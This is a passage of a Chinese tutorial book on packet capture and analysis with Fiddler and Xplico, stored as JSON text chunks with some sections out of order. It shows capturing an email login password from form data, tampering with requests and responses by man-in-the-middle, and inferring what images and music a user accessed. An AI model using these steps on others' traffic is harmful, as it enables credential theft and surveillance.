    {"text": "未知 6.5.2 请求的网址 HTTP请求包含访问网站所使用的网址。该网址可以从请求行中直接获取，也可以通过Session列表中的Host列和URL列的信息进行组合，如图6.46所示。例如，使用http://与Host列中的news.baidu.com和URL列中的/共同构成了网址 http://news.baidu.com/ 。 图6.46 查看请求的网址 未知 6.5.3 通过网址传输的数据 一个Web服务器往往包含大量的网页，每个网页对应不同的网址。客户端请求的网址不仅可以明确要访问的网页，还可以向服务器提交数据。而通过GET请求方式请求服务器时，客户端会自动将一些数据添加到网址后面，然后发送给服务器。因此，一个网址中往往包含大量要传输的数据。 1.URL格式 统一资源定位符（Uniform Resource Locator，URL）用于完整地描述互联网上某一资源的地址，也就是平时所说的网址。其格式如下： Protocol Host/Path ?Query-string 其中，每部分含义如下： ·Protocol：协议类型，如https://。 ·Host：服务器域名或地址。 ·Path：访问资源的路径。 ·Query-string：发送给HTTP服务器的数据。 为了方便理解，下面给出一个简单的网址进行说明： https://m.baidu.com/?from=1020786r 其中，https://表示协议类型；m.baidu.com表示HTTP服务器名称；/表示访问资源的路径，在根目录下可以访问到资源；from=1020786r表示要传递的数据，这里是客户端提交给服务器的数据，形式为“参数名=参数值”，其中from为参数名，1020786r为参数值，如果有多个参数，参数之间使用&连接。 2.URL编码 如果传输的数据是英文字母、数字或某些标点符号，它们会直接通过URL进行传输。如果传输的数据是其他字符（如中文），这些字符将被URL编码，然后再进行传输。这类网址中的参数需要解码才能看到。URL编码（URL encoding）可以将需要转码的字符转换为十六进制，并在前面加上%。编码后的格式为%XY。 【实例6-1】 通过抓包演示网址中传输的数据信息。具体操作步骤如下： （1）启动Fiddler，在手机上访问“百度首页”，然后查看捕获的数据包，如图6.47所示。其中，访问的网址为 https://www.baidu.com/ 。 图6.47 “百度首页”数据包 （2）在“百度首页”中搜索关键词wireshark，如图6.48所示。其中，wireshark是要访问的数据。Fiddler捕获的相应数据包如图6.49所示。该数据包的网址为 https://www.baidu.com/from=844b/s?word=wireshark&ts=1681921&t_kt=0&ie=utf-8&fm_kl=021394be2f&rsv_iqid=0845892428&rsv_t=cd08BTLS%252F8IS4AhqFowTAPUXpX3X%252FDXvMI9NbUYqHbtp%252B6orHANafixUJg&sa=ih_3&ms=1&rsv_pq=0845892428&rsv_sug4=2431&ss=011000000011&tj=1 。其中，由于要访问的数据wireshark由英文字母组成，因此直接在网址中进行传输了，作为参数word的值，没有进行编码。 图6.48 访问的数据 图6.49 访问的数据没有进行编码 （3）搜索“wireshark软件”，如图6.50所示，访问的数据中包含中文“软件”。 Fiddler捕获的相应数据包如图6.51所示。该数据包的网址为 https://www.baidu.com/from=844b/s?word=wireshark+%E8%BD%AF%E4%BB%B6&sa=tb&ts=1728821&t_kt=0&ie=utf-8&rsv_t=3dd7RQr4AlMzBIPfHQzdxlQaF8WbgWCg91PyL7Gu0sSwS8CCFN6rCNbEUg&ms=1&rsv_pq=8214829212998910924&ss=110&tj=1&rqlang=zh&sugid=11626537122582104561&rsv_sug4=16592&inputT=1251&oq=wireshark 。其中，参数word的值分为了三部分，第一部分为wireshark；第二部分为空格，被进行了URL编码，结果为加号（+）；第三部分为中文“软件”，同样被进行了URL编码，结果为%E8%BD %AF%E4%BB %B6。 图6.50 访问的数据 图6.51 访问的数据进行了URL编码 3.URL解码 URL解码是URL编码的逆运算。Fiddler自带了解码功能，用户可以对URL编码后的字符串进行解码，以查看原始字符。在菜单栏中依次选择Tools|TextWizard命令，弹出TextWizard对话框，如图6.52所示。 图6.52 TextWizard对话框 该对话框分为上下两部分，用来对字符串进行编码或解码。在上半部分输入字符串，在Transform下拉列表框中选择转换方式，下半部分将会显示对应的编码或解码后的字符串。例如，对字符串%E8%BD%AF%E4%BB%B6进行解码，需要选择URLDecode转换方式，在下半部分将显示解码结果，如图6.53所示。 图6.53 成功解码"},
    {"text": "未知 6.5.4 表单内容 表单用于搜集用户在文本域、下拉列表、单选按钮、复选框等控件输入的信息内容。当用户提交表单时，Fiddler会捕获对应的请求。该请求为POST方式，提交的表单信息会包含在请求体中。这些信息也遵循URL中的字符规则，即如果不是英文字母、数字或某些标点符号的字符就会进行URL编码。这时，通过抓包可以查看用户提交的表单信息。 【实例6-2】 使用Fiddler捕获手机登录邮箱的相关信息。具体操作步骤如下： （1）启动Fiddler，在手机上登录邮箱，输入邮箱地址和密码，如图6.54所示。 图6.54 邮箱登录 Fiddler捕获的相应数据包如图6.55所示。请求体中的内容为提交的表单信息，其中，参数usr的值是提交的邮箱地址数据，被进行了编码，@被编码为了%40；参数pass的值是提交的密码数据，同样被编码了。 图6.55 表单内容 （2）切换到WebForms选项卡，可以通过表格清晰地看到请求体中的参数及参数值，如图6.56所示。 图6.56 查看表单信息 未知 1.3.1 设置联网模式 如果要捕获App的数据包，则必须连接到网络。所以，用户在捕获数据包之前，一定要确定App所使用的联网模式。如果App没有使用正确的联网方式，则可能捕获不到其数据包。下面介绍设置App联网模式的方法。 【实例1-5】 在OPPO设备上，设置App为Wi-Fi联网模式。操作步骤如下： （1）在手机上打开“设置”程序，将显示“设置”界面，如图1.18所示。 （2）单击“双卡与移动网络”选项，将显示“双卡与移动网络”界面，如图1.19所示。 图1.18 “设置”界面 图1.19 “双卡与移动网络”界面 （3）在“联网控制”部分单击“使用WLAN与移动网络的应用”选项，将显示“使用WLAN与移动网络的应用”界面，如图1.20所示。 （4）从图1.20中可以看到手机上的所有程序。此时，选择任意一个程序，即可设置其联网方式。例如，修改爱奇艺播放器的联网方式为Wi-Fi，则单击“爱奇艺”程序，将显示爱奇艺程序联网设置界面，如图1.21所示。 图1.20 “使用WLAN与移动网络的应用”界面 图1.21 切换为使用WLAN （5）从图1.21中可以看到，共有3个选项，分别是关闭、WLAN、WLAN与移动数据。从该界面可以看到，默认选择是“WLAN与移动数据”选项，表示允许使用Wi-Fi和数据流量连接网络。如果只希望使用Wi-Fi联网的话，则单击WLAN选项。 【实例1-6】 在苹果手机iPhone 6上，设置App的联网模式。具体操作步骤如下： （1）启动“设置”程序，向下滑动屏幕，即可看到手机中安装的所有程序，如图1.22所示。 （2）单击要设置联网的程序，例如“爱奇艺”程序，将显示该程序的设置界面，如图1.23所示。 （3）单击底部的“无线数据WLAN与蜂窝移动网”选项，将显示联网设置界面，如图1.24所示。 图1.22 “设置”界面 图1.23 “爱奇艺”设置界面 （4）在图1.24中包括3个选项，分别是关闭、WLAN、WLAN与蜂窝移动网，这里选择WLAN，表示使用Wi-Fi连接方式。 图1.24 设置联网方式 还可以在无线局域网的连接界面，单击“使用WLAN与蜂窝移动网的”选项，将显示所有的程序，如图1.25所示。此时，单击要设置联网的程序，例如“爱奇艺”程序，将显示该程序的网络设置界面，如图1.26所示。 此时，单击WLAN选项，即可设置“爱奇艺”程序的联网方式为Wi-Fi方式。 图1.25 所有程序 图1.26 设置联网方式 未知 6.5.5 提交Cookie数据 Cookie是某些网站为了辨别用户身份存储在用户本地终端上的数据。在HTTP请求中，通过Cookie来提交数据，服务器通过这些数据辨别客户端的身份。例如，在客户端登录服务器后，Cookie可以将登录信息记录下来，当用户进行第二次访问时，客户端将直接把Cookie发送给服务器。 【实例6-3】 演示Cookie在发送HTTP请求中的作用。具体操作步骤如下： （1）当客户端访问登录页面时，查看请求头信息，请求头中没有Cookie数据，如图6.57所示。 （2）登录后，Cookie将会记录相关信息。当在客户端再次访问登录页面时，请求头中则包含登录信息，如图6.58所示。 图6.57 第一次访问 图6.58 第二次访问 未知 6.6 响应数据 Web服务器收到客户端发来的请求后，会做出响应，并发送对应的数据。这些数据往往包含浏览器要访问的具体数据，称为响应数据。本节讲解如何分析响应数据。 未知 6.6.1 响应数据结构 响应数据结构分为3部分，分别为响应行、响应头和响应体。在Session列表中，选择任意一个会话，然后在响应部分中选择Raw选项卡，就可以查看HTTP请求数据的详细信息了，如图6.59所示。 图6.59 HTTP响应数据结构 其中，响应行中包含协议的版本号、响应状态码和状态消息；响应头中包含服务器响应客户端的相关字段信息；响应体中包含服务器回应客户端请求的内容信息。"},
    {"text": "未知 6.6.2 Set-Cookie设置数据 在6.5.5节中介绍了Cookie的作用是向服务器提交数据，以供服务器辨别客户端的身份等。而这些Cookie数据信息实际上是由服务器创建，然后存储在客户端的。在响应中，服务器通过Set-Cookie字段为客户端设置Cookie数据。当客户端再次访问服务器时，请求将包含该数据。 【实例6-4】 通过Fiddler抓包来分析响应中的Cookie信息。具体操作步骤如下： （1）启动Fiddler。在手机上访问百度首页时，可以查看捕获的会话，如图6.60所示。其中，响应头中包含7个Set-Cookie字段，表示服务器向客户端发送了7条Cookie数据，其中有一条Cookie是用来表明身份的。 图6.60 请求中没有提交的Cookie数据 （2）再次访问百度首页时，查看会话的请求头信息。此时，请求头中已包含Cookie信息，如图6.61所示。该信息使用了第一次会话响应中的Set-Cookie信息。 图6.61 请求中包含提交的Cookie数据 未知 6.6.3 网页数据 客户端通过浏览器访问服务器，服务器返回响应后，浏览器解析响应中的HTML，这样客户端就可以看到网页了。由于在解析HTML的方式不同，Fiddler捕获的会话格式也就不同。 1.JSON格式网页数据 JavaScript对象表示法（JavaScript Object Notation，简称JSON）是一种轻量级的数据交换格式，Web服务器经常使用这种格式，传递一些简单的数据。对于这类数据，可以通过JSON选项卡进行查看。Fiddler以树形结构显示JSON对象的节点，每一组都是一个树形结构显示，如图6.62所示。 图6.62 JSON格式的网页数据 2.HTML格式网页数据 超文本标记语言（HyperText Markup Language，HTML）是网页的基本格式。Fiddler捕获的这类格式数据，可以通过WebView选项卡进行查看，如图6.63所示。 图6.63 HTML格式的网页数据 未知 6.6.4 图片数据 多数网页中都会包含图片信息。用户在手机上通过客户端浏览网页时，同时也会请求获取网页中的图片。服务器在返回响应时，会返回图片的信息。通过分析会话的响应信息，可以发现用户访问了哪些图片及图片的相关信息。 【实例6-5】 通过Fiddler抓包查看用户浏览过的图片信息。具体操作步骤如下： （1）在手机上访问 http://image.baidu.com/ ，显示的网页中包含大量图片，如图6.64所示。例如，该网页的背景是一张图片，Fiddler可以捕获该图片的信息，如图6.65所示。其中，被括起来的会话便是捕获的网页中图片的会话。 图6.64 网页中包含图片 图6.65 图片会话 （2）选择一个图片会话，在响应部分选择ImageView选项卡，不仅可以看到对应的图片，还可以看到图片数据信息，如图6.66所示。其中，图片数据包括了图片的类型、大小、像素尺寸等信息。 图6.66 查看图片数据 未知 6.6.5 音乐数据 当用户在手机上通过浏览器搜索音乐进行试听，或者通过音乐App播放音乐时，Fiddler可以捕获音乐会话。通过分析这类会话，可以了解到客户端听过哪些音乐。 【实例6-6】 通过Fiddler分析用户听过的音乐。具体操作步骤如下： （1）在手机上打开音乐App，本例使用的是“酷狗音乐”App，搜索歌曲并进行播放，如图6.67所示。 （2）Fiddler会捕获音乐会话。在响应部分选择WebView选项卡即可进行查看，如图6.68所示。单击播放按钮，就可以听取音乐了。 提示： 在捕获音乐会话时，需要通过选择Tools|Options命令，在打开的Options对话框中选中Automatically stream &video复选框。 图6.67 播放音乐 图6.68 音乐会话 未知 6.7 修改数据 Fiddler作为代理，位于浏览器与服务器之间，用于进行数据传递。因此，传递的数据都可以被Fiddler提前进行修改，然后再发送出去。本节讲解如何使用Fiddler修改数据。 未知 6.7.1 修改客户端提交的数据 当客户端向服务器提交数据时，Fiddler可以修改对应的数据，伪造客户端的请求。修改的时候，Fiddler通过设置断点的方式拦截客户端发送给服务器的HTTP请求数据，然后进行修改，最后将修改后的HTTP请求发送给服务器。 【实例6-7】 修改浏览器提交的数据。具体操作步骤如下： （1）启动Fiddler，设置客户端访问“百度首页”的请求断点。在命令输入框中输入bpu https://www.baidu.com/ ，并按Enter键，如图6.69所示。 图6.69 设置请求断点 （2）此时，在手机上访问百度首页，无法成功访问的，如图6.70所示，图中没有显示任何网页信息。Fiddler捕获的手机上访问的会话如图6.71所示。第14个会话是访问百度首页，它与正常的会话不同，因为它没有访问成功。 （3）在会话请求部分的Headers选项卡中单击[Raw]链接，查看会话的原始请求，如图6.72所示。其中，Host表示客户端要访问的目标主机。客户端提交的数据都会发给该主机。 图6.70 无法访问网页 图6.71 捕获访问的会话 图6.72 会话请求 （4）将Host的值修改为email.163.com，然后单击Save按钮关闭窗口并返回到Fiddler界面，如图6.73所示。 （5）在命令输入框中输入bpu取消断点，然后单击红色工具栏中的Run to Completion按钮，重启会话请求。此时，请求的主机为修改过的email.163.com，如图6.74所示。第14个会话的网址为 http://email.163.com/ 。 图6.73 Fiddler界面 图6.74 成功修改了客户端提交的数据 此时，手机上访问到的是 http://email.163.com/ 对应的网页，而不是百度首页，如图6.75所示。 图6.75 显示了被修改后的网页"},
    {"text": "未知 6.7.2 修改服务器返回的数据 当服务器向客户端返回数据时，Fiddler可以修改对应的数据，从而伪造服务器的响应。修改时，通过设置Fiddler响应断点对响应进行拦截，然后进行修改，最后将修改后的响应返回给客户端。 【实例6-8】 修改服务器返回的数据。具体操作步骤如下： （1）在手机上正常访问百度首页，如图6.76所示。页面中可以看到一个搜索按钮为“百度一下”。 （2）启动Fiddler，设置响应断点。这里拦截客户端访问百度首页的响应，因此在命令输入框中输入bpafter https://www.baidu.com/ ，并按Enter键，如图6.77所示。 图6.76 “百度首页”界面 图6.77 设置响应断点 （3）此时，在手机上访问百度首页，显示无法访问，如图6.78所示。 （4）在Fiddler捕获的手机上访问会话，如图6.79所示，该会话是有响应体的。 （5）单击响应体上方的黄色栏Response body is encoded.Click to decod，然后切换到TextView选项卡查看响应体。由于响应体中的内容较多，可以进行搜索。在响应体下方的文本框中输入“百度一下”，按Enter键切换到下一个匹配项，最终找到要修改的数据，如图6.80所示。 图6.78 无法访问网页 图6.79 捕获访问的会话 图6.80 查看响应体 （6）将此处的“百度一下”修改为“度娘下”，然后单击Run to Completion按钮，将修改后的响应发送给手机客户端。此时，手机上成功访问百度首页，但是返回的信息是修改后的信息，如图6.81所示。其中，“百度一下”按钮被修改为了“度娘下”。 图6.81 返回的网页信息被修改了"},
    {"text": "未知 1.3.2 限制其他程序 在手机上运行的大部分程序，用户关闭后也会在后台运行。为了避免干扰，用户可以关掉其他程序的联网，只开启要捕获数据包的程序；或者可以强制将后台运行的程序关闭。下面介绍限制其他程序访问网络的方法。 1.关闭程序的联网 关闭程序的联网后，该程序将无法发送和接收数据。这样在捕获数据包时，便不会捕获该程序的数据包。 【实例1-7】 在OPPO设备上，关闭程序的联网。操作步骤如下： （1）在手机中依次单击“设置”|“双卡与移动网络”|“使用WLAN与移动网络的应用”选项，将显示“使用WLAN与移动网络的应用”界面，如图1.27所示。 （2）从该界面中可以看到手机上的所有程序。此时，选择任意一个程序，即可设置其联网方式。例如，要关闭爱奇艺播放器的联网，单击“爱奇艺”程序，将显示爱奇艺联网设置界面，如图1.28所示。 （3）单击“关闭”选项，即可停止爱奇艺程序使用网络。 图1.27 “使用WLAN与移动网络的应用”界面 图1.28 关闭联网 【实例1-8】 在苹果手机iPhone 6上，设置关闭程序的联网方式。具体操作步骤如下： （1）启动“设置”程序，并依次单击“无线局域网”|“使用WLAN与蜂窝移动网的”选项，将显示所有的程序，如图1.29所示。 （2）选择要关闭网络的程序。例如要关闭爱奇艺播放器的网络，单击“爱奇艺”程序，将显示联网设置界面，如图1.30所示。 图1.29 所有程序 图1.30 设置联网方式 （3）单击“关闭”选项，即可关闭爱奇艺的网络。 2.彻底关闭后台程序 当强制停止程序运行后，该程序将不会运行，包括后台，这样也可以避免干扰捕获数据包。用户通过单击屏幕下方的左键（部分机型需要上滑出快捷键）快捷方式，或者强行停止程序的方式来彻底关闭后台程序。 【实例1-9】 在OPPO设备上，关闭所有后台程序。具体操作步骤如下： （1）单击屏幕左下角的左键，将显示最近运行的应用程序列表，如图1.31所示。 （2）从该界面可以看到最近运行的所有程序。此时，单击关闭按钮 ，将关闭所有后台程序。 如果用户想要确定一些程序是否有重要信息保存的话，左右滑动屏幕即可查看所有程序。然后，选择关闭的程序，并向上滑动屏幕即可关闭。 【实例1-10】 在OPPO设备上，关闭其他程序的联网。具体操作步骤如下： （1）在手机中打开“设置”程序，将显示“设置”界面，如图1.32所示。 图1.31 最近运行的应用程序列表 图1.32 “设置”界面 （2）单击“其他设置”选项，将显示“其他设置”界面，如图1.33所示。 （3）单击“应用程序管理”选项，将显示所有的应用程序信息，如图1.34所示。 （4）从图1.34中可以看到，包括“正在运行”、“已安装”、“全部”3个选项卡。从“正在运行”的选项卡中可以看到当前正在运行的所有程序。此时，选择任意一个程序，即可将其强行停止。例如，要强行停止Packet Capture程序，单击Packet Capture程序，将显示该程序的“应用信息”界面，如图1.35所示。 图1.33 “其他设置”界面 图1.34 正在运行的程序 （5）在图1.35中，用户可以清除数据缓存及强行停止程序。这里单击“强行停止”按钮，将弹出“要强行停止吗？”对话框，如图1.36所示。 图1.35 强行停止程序 图1.36 “要强行停止吗？”对话框 （6）单击“强行停止”按钮，即可停止Packet Capture程序，如图1.37所示。此时，在“正在运行”选项卡中已经没有Packet Capture程序了，即成功将其停止运行。 【实例1-11】 在苹果手机iPhone 6上，彻底关闭后台程序。具体操作步骤如下： （1）单击手机桌面上的小白点，将显示更多选项，如图1.38所示。 图1.37 程序已停止 图1.38 更多选项 （2）单击“设备”选项，将显示更多设备调整选项，如图1.39所示。 （3）单击“更多”选项，将显示更多选项界面，如图1.40所示。 （4）单击“多任务”选项，将显示所有的后台程序，如图1.41所示。 （5）左右滑动屏幕，即可查看后台运行的所有程序。向上滑动屏幕，即可关闭相应程序。 通过双击苹果手机屏幕下方的Home键，也可以查看后台运行的程序，如图1.42所示。 此时，选择程序后向上滑动屏幕，即可关闭该后台程序。 图1.39 设备调整选项 图1.40 更多选项 图1.41 后台程序 图1.42 后台运行的所有程序 未知 第7章 快速分析数据 从捕获的成百上千个数据包中，分析并从中找出有用的信息是一项费时费力的任务。此时可以使用Xplico工具，该工具可以自动解析捕获文件中的数据包，并且以不同分类协议显示相应的信息。该工具支持多种格式的数据，如邮件数据（POP、IMAP和SMTP）、网页HTTP数据、语音通话（SIP）数据以及网络文件（FTP、TFTP）数据等。本章介绍如何使用Xplico工具快速分析数据包。 未知 7.1 配置Xplico工具环境 Xplico工具默认没有安装在任何操作系统中，所以在使用该工具之前，需要安装并配置Xplico工具环境。本节介绍如何配置Xplico工具的运行环境。"},
    {"text": "未知 7.1.1 下载Xplico工具 在安装Xplico工具之前首先下载Xplico工具。该工具的官网下载地址如下： https://www.xplico.org/download 在浏览器中成功访问该地址后将显示如图7.1所示的页面。 从Xplico version页面中可以看到，该工具提供了Fedora、CentOS/RHEL和Ubuntu三种操作系统及不同版本的安装包，而且还提供了VirtualBox镜像文件及源码包。用户可以根据自己的操作系统版本，选择下载对应的安装包。为了避免安装遇到依赖包等问题，建议使用Xplico镜像版本。其中，该镜像安装的系统默认登录用户名为ubuntu，密码为reverse。如果用户下载其他版本的安装包，则默认用户名为admin或xplico，密码为xplico。此时，单击VirtualBox Image中的超链接Download OVA here，将显示下载页面，如图7.2所示。 图7.1 Xplico version页面 图7.2 下载Xplico工具 在下载Xplico工具页面中提供了两个版本的Xplico镜像，分别是Lubuntu_xplico_1.2_64bit.7z和Xplico-1.1.0-ubuntu-13.10-i386.ova。其中，Lubuntu_xplico_1.2_64bit.7z安装包解压后镜像文件格式为Lubuntu_xplico_1.2_64bit.vdi，该文件是VirtualBox的虚拟机文件。 未知 7.1.2 下载并安装VirtualBox 由于Xplico官网仅提供了VirtualBox版的镜像，所以用户需要安装VirtualBox虚拟机。下面介绍下载及安装VirtualBox的方法。 1.下载VirtualBox VirtualBox的官网下载地址如下： https://www.virtualbox.org/wiki/Downloads 在浏览器中访问该地址后显示下载页面，如图7.3所示。 图7.3 VirtualBox下载页面 从VirtualBox下载页面中可以看到VirtualBox官网提供的所有平台的安装包，包括Windows、OS X、Linux和Solaris。这里将选择下载Windows版的安装包，单击Windows hosts链接，即可下载对应的安装包。下载成功后，其安装包名为VirtualBox-6.0.12-133076-Win.exe。 2.安装VirtualBox 下载VirtualBox安装包后，即可安装该虚拟机软件。具体操作步骤如下： （1）双击下载的VirtualBox安装包，将显示欢迎对话框，如图7.4所示。 （2）单击“下一步”按钮，将显示功能选择对话框，如图7.5所示。 图7.4 欢迎对话框 图7.5 功能选择对话框 （3）在功能选择对话框中选择要安装的功能，这里将安装所有功能，所以选择VirtualBox Application选项，单击“下一步”按钮，将显示启动方式选择对话框，如图7.6所示。 （4）用户可以选择安装后启动的方式，如添加系统菜单条目、在桌面创建快捷方式等，这里将使用默认设置，即选择所有选项，单击“下一步”按钮，将显示网络警告信息对话框，如图7.7所示。 图7.6 启动方式选择对话框 图7.7 网络警告信息对话框 （5）网络警告信息对话框提示安装Oracle VM VirtualBox将重置网络连接，并暂时中断网络。单击“是”按钮，将显示“准备好安装”对话框，如图7.8所示。 （6）单击“安装”按钮，将弹出“Windows安全”对话框，如图7.9所示。 图7.8 “准备好安装”对话框 图7.9 “Windows安全”对话框 （7）单击“安装”按钮开始安装软件。安装完成后，显示安装完成对话框，如图7.10所示。 图7.10 “安装完成”对话框 （8）单击“完成”按钮，退出安装向导对话框，并且启动VirtualBox虚拟机，如图7.11所示。如果不希望现在运行VirtualBox虚拟机，可取消选中“安装后运行Oracle VM VirtualBox 6.0.12”复选框即可。 此时，用户即可使用VirtualBox虚拟机新建或导入虚拟机系统了。 图7.11 Oracle VM VirtualBox管理器"},
    {"text": "未知 7.1.3 运行Xplico工具 当VirtualBox虚拟机软件安装成功后，可以创建或导入Xplico镜像，并运行Xplico工具。下面介绍在VirtualBox中运行Xplico工具的方法。 1.运行vdi格式的Xplico工具 在Xplico官网提供了两种镜像格式，分别是vdi和ova。其中，vdi格式的版本是1.2，启动后是图形界面；ova格式的版本是1.1.0，启动后是文本界面。下面将介绍如何运行vdi格式的Xplico工具。 【实例7-1】 在VirtualBox中运行vdi格式的Xplico工具。具体操作步骤如下： （1）启动VirtualBox虚拟机，将显示Oracle VM VirtualBox管理器界面，如图7.12所示。 （2）单击“新建”按钮，将显示“虚拟电脑名称和系统类型”对话框，如图7.13所示。 （3）定义虚拟机系统的名称、位置、系统类型及版本。其中，Xplico的镜像是基于Ubuntu系统的，所以这里将选择系统类型为Linux，版本为Ubuntu(64-bit)。用户可以自定义系统的名称和文件夹位置。然后单击“下一步”按钮，将显示“内存大小”对话框，如图7.14所示。 图7.12 Oracle VM VirtualBox管理器 图7.13 “虚拟电脑名称和系统类型”对话框 图7.14 “内存大小”对话框 （4）设置虚拟机的内存大小，这里使用默认设置1024MB。然后单击“下一步”按钮，将显示“虚拟硬盘”对话框，如图7.15所示。 （5）选择虚拟硬盘方式，这里提供了三种方式，分别是“不添加虚拟硬盘”“现在创建虚拟硬盘”“使用已有的虚拟硬盘文件”。由于Xplico是已经创建好的虚拟硬盘文件，所以选择“使用已有的虚拟硬盘文件”方式。然后单击文件夹按钮 ，选择已有的虚拟硬盘文件，将显示Medium对话框，如图7.16所示。 图7.15 “虚拟硬盘”对话框 图7.16 Medium对话框 （6）从Medium对话框中可以看到，目前没有可以选择的介质。单击“注册”按钮，将弹出“选择一个虚拟硬盘”对话框，如图7.17所示。 图7.17 选择一个虚拟硬盘 （7）选择Xplico的镜像文件，然后单击“打开”按钮，即可看到加载的Medium，如图7.18所示。 （8）选择刚才加载的Xplico镜像文件，并单击“选择”按钮，将回到“虚拟硬盘”对话框，如图7.19所示。 （9）从图7.19中可以看到，已选择了Xplico镜像文件，单击“创建”按钮即可看到创建的Xplico虚拟机，如图7.20所示。 图7.18 成功加载了Medium 图7.19 选择虚拟硬盘文件 图7.20 新建的Xplico虚拟机 （10）从该窗口中可以看到，新建了一个名为Xplico的虚拟机。目前，该虚拟机系统的状态为“已关闭”。单击“启动”按钮 即可启动Xplico虚拟机系统，成功启动后，将弹出登录Xplico虚拟机界面，如图7.21所示。 （11）在登录Xplico虚拟机界面选择登录用户Xplico，并单击Log In按钮，即可成功登录到Xplico虚拟机，如图7.22所示。 图7.21 登录Xplico虚拟机 图7.22 登录成功 接下来就可以使用Xplico工具了。 2.运行ova格式的Xplico工具 使用ova格式启动的Xplico工具是文本模式。对于喜欢文本模式操作的用户，可以导入ova格式来运行Xplico工具。下面介绍如何运行ova格式的Xplico工具。 【实例7-2】 在VirtualBox中导入ova格式的Xplico镜像文件。具体操作步骤如下： （1）在菜单栏中依次选择“管理”|“导入虚拟电脑”命令，将显示“要导入的虚拟电脑”对话框，如图7.23所示。 图7.23 “要导入的虚拟电脑”对话框 （2）单击文件夹按钮 ，将显示“选择一个虚拟电脑文件导入”对话框，如图7.24所示。 图7.24 “选择一个虚拟电脑文件导入”对话框 （3）选择ova格式的镜像文件，并单击“打开”按钮，返回“要导入的虚拟电脑”对话框，如图7.25所示。 （4）单击“下一步”按钮，将显示“虚拟电脑导入设置”对话框，如图7.26所示。 图7.25 成功选择镜像文件 图7.26 “虚拟电脑导入设置”对话框 （5）先对虚拟机系统进行相关设置，如名称、处理器和内存等，然后单击“导入”按钮导入虚拟电脑，如图7.27所示。从图中可以看到，正在导入虚拟电脑到VirtualBox。导入成功后，将显示如图7.28所示的界面。 图7.27 正在导入虚拟电脑 图7.28 成功导入虚拟电脑 （6）从图7.28中可以看到，成功导入了虚拟电脑，其名称为ubuntu-13.10-server-i386。此时，该虚拟系统状态为关闭。单击“启动”按钮，即可运行该虚拟电脑，成功启动后将显示用户登录界面，如图7.29所示。 图7.29 用户登录界面 （7）在用户登录界面中输入用户名和密码，即可成功登录系统，如图7.30所示。其中，默认的用户名为ubuntu，密码为reverse。 图7.30 成功登录虚拟电脑 接下来就可以使用Xplico工具了。"},
    {"text": "未知 7.1.4 使用Xplico工具 当成功启动Xplico虚拟机系统后，默认已经启动了Xplico服务。其中，Xplico服务默认监听的端口为9876，用户可以使用netstat命令查看监听端口，以确定Xplico服务正常运行。执行命令如下： ubuntu@ubuntu-server:~$ netstat -anptul (No info could be read for \"-p\": geteuid()=1000 but you should be root.) Active Internet connections (servers and established) Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN - tcp6 0 0 :::80 :::* LISTEN - tcp6 0 0 :::9876 :::* LISTEN - udp 0 0 0.0.0.0:48934 0.0.0.0:* - udp 0 0 0.0.0.0:68 0.0.0.0:* - udp6 0 0 :::15498 :::* - 从输出的信息中可以看到，当前计算机中开放的端口有22、80和9876。由此可以说明，Xplico服务已成功运行。另外，Xplico工具是基于Web服务的，所以还需要启动Apache服务，即监听80端口。如果没有监听9876和80端口，则说明Xplico和Apache服务都没有运行，可通过执行如下命令启动服务： xplico@XplicoVM:~$ service xplico start #启动Xplico服务 xplico@XplicoVM:~$ service apache2 start #启动Apache服务 接下来，用户就可以访问Xplico工具了。 【实例7-3】 访问Xplico工具。具体操作步骤如下： （1）在浏览器中输入地址 http://IP:9876/ 。其中，IP是指Xplico服务所在主机的IP地址。如果用户不确定，可以使用ifconfig命令查看。执行命令如下： ubuntu@ubuntu-server:~$ ifconfig eth0 Link encap:Ethernet HWaddr 08:00:27:f5:73:ec inet addr:192.168.1.4 Bcast:192.168.1.255 Mask:255.255.255.0 inet6 addr: fe80::a00:27ff:fef5:73ec/64 Scope:Link UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1 RX packets:267 errors:0 dropped:0 overruns:0 frame:0 TX packets:107 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:1000 RX bytes:24814 (24.8 KB) TX bytes:11970 (11.9 KB) lo Link encap:Local Loopback inet addr:127.0.0.1 Mask:255.0.0.0 inet6 addr: ::1/128 Scope:Host UP LOOPBACK RUNNING MTU:65536 Metric:1 RX packets:32 errors:0 dropped:0 overruns:0 frame:0 TX packets:32 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:0 RX bytes:2480 (2.4 KB) TX bytes:2480 (2.4 KB) 从输出的信息中可以看到，当前主机的IP地址为192.168.1.4。在浏览器中访问 http://192.168.1.4:9876 ，访问成功后将显示Xplico登录页面，如图7.31所示。 图7.31 登录Xplico服务 （2）输入登录Xplico服务的用户名和密码（默认的用户名和密码都为xplico），然后单击Login按钮，将显示案例列表页面，如图7.32所示。 图7.32 案例列表 （3）从案例列表页面中可以看到，默认没有创建任何案例及会话。用户需要创建案例及会话后才可以上传并解析pcap文件。在左侧列表中单击New Case命令，将显示新建案例页面，如图7.33所示。 图7.33 新建案例 （4）在新建案例页面选择获取数据的方式、案例名及外部接口。可以看到获取数据的方式有两种，分别是Uploading PCAP capture file/s（上传PCAP捕获文件）和Live acquisition（在线获取）。由于在前面已经有捕获好的文件，这里只进行分析，所以选中Uploading PCAP capture file/s单选按钮，然后在Case name文本框中指定案例名，这里将创建一个名为weixin的案例，单击Create按钮，案例创建成功，如图7.34所示。 图7.34 案例创建成功 （5）接下来将在该案例中创建会话列表。单击案例名weixin，将打开该案例的会话列表页面，如图7.35所示。 图7.35 会话列表 （6）此时还没有创建任何会话，单击左侧列表中的New Session命令，将显示新建监听会话页面，如图7.36所示。 图7.36 新建监听会话 （7）在新建监听会话页面指定会话名，并单击Create按钮即可创建对应的会话。这里创建一个名为HTTP的会话，创建成功后将显示如图7.37所示的页面。 图7.37 会话创建成功 （8）单击会话名HTTP，将显示如图7.38所示的界面。 图7.38 会话列表 （9）在会话列表页面中包括三部分，分别是Session Data（会话数据）、Pcap set（捕获文件集）和解析的协议列表。其中，支持解析的协议共15种，如HTTP、MMS、Emails、FTP和Web Mail等，默认还没有上传任何文件，所以所有协议列表中的值都为0。此时，单击“选择文件”按钮，选择将要上传的文件，如图7.39所示。 图7.39 选择上传的文件 （10）从图7.39中可以看到，选择了一个名为weixin.pcapng的捕获文件，单击Upload按钮，将上传该捕获文件。当成功上传并解码该捕获文件后，显示页面如图7.40所示。 图7.40 成功上传捕获文件 从Session 